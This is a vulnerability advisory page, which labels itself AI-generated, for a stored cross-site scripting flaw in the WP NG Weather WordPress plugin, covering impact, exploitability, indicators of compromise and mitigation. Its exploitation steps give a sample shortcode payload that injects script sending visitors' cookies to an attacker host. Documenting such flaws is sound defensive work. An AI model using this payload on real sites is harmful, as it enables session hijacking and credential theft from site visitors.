CVE-2026-1822
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-1822 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP NG Weather plugin for WordPress. It affects all versions up to and including 1.0.9, caused by insufficient input sanitization and output escaping on user-supplied attributes in the ng-weather shortcode. The vulnerability was published on March 21, 2026, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in the plugin's ng-weather shortcode handler, where user-supplied attributes are neither properly sanitized on input nor escaped on output before being rendered in the page (Wordfence, WordPress Trac). Exploitation requires an authenticated session with at least contributor-level privileges, meaning the attacker must have a valid WordPress account with the ability to create or edit posts containing shortcodes. The malicious script is stored server-side and executes in the browsers of any user who visits the affected page.

Impact

Successful exploitation allows an authenticated attacker to inject and persistently store arbitrary JavaScript in WordPress pages, which executes in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, defacement, or redirection of users to malicious sites. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact; however, the changed scope means the attack can affect users beyond the attacker's own session (Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1822 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for contributor-level authentication, limiting the attacker pool to those with existing WordPress accounts on the target site (Wordfence).

Exploitation steps

  1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on the target site running WP NG Weather ≤ 1.0.9.
  2. Create or Edit a Post: Navigate to the WordPress post editor and create or edit a post/page where shortcodes are rendered.
  3. Inject Malicious Shortcode: Insert the ng-weather shortcode with a crafted attribute containing a JavaScript payload, for example: [ng-weather attribute="\"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish the Post: Save and publish the post so the malicious shortcode is stored in the database.
  5. Trigger Execution: When any user (including administrators) visits the injected page, the unsanitized attribute is rendered into the HTML and the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing ng-weather shortcode with unusual attribute values including HTML tags or JavaScript.
  • Database: Suspicious entries in the wp_posts table containing [ng-weather shortcodes with encoded or obfuscated script tags in attribute fields.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the ng-weather shortcode (indicative of data exfiltration).
  • File System: Review wp-weather.php and templates/app.php in the plugin directory for any unauthorized modifications (WordPress Trac, WordPress Trac).

Mitigation and workarounds

The primary remediation is to update the WP NG Weather plugin to a version beyond 1.0.9 that includes proper input sanitization and output escaping. If no patched version is yet available, site administrators should deactivate and remove the plugin until a fix is released. Additionally, restrict contributor-level account creation to trusted users, and consider implementing a Web Application Firewall (WAF) rule to block shortcode attributes containing HTML or JavaScript (Wordfence).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-3174HIGH7.5
  • event-tickets
NoYesSep 08, 2026
CVE-2026-18021MEDIUM6.5
  • beaver-builder-lite-version
NoYesSep 08, 2026
CVE-2026-17509MEDIUM6.5
  • sitepress-multilingual-cms
NoYesSep 08, 2026
CVE-2026-76931MEDIUM6.4
  • zephyr-project-manager
NoYesSep 08, 2026
CVE-2026-2520MEDIUM5.4
  • bookly-responsive-appointment-booking-tool
NoYesSep 08, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management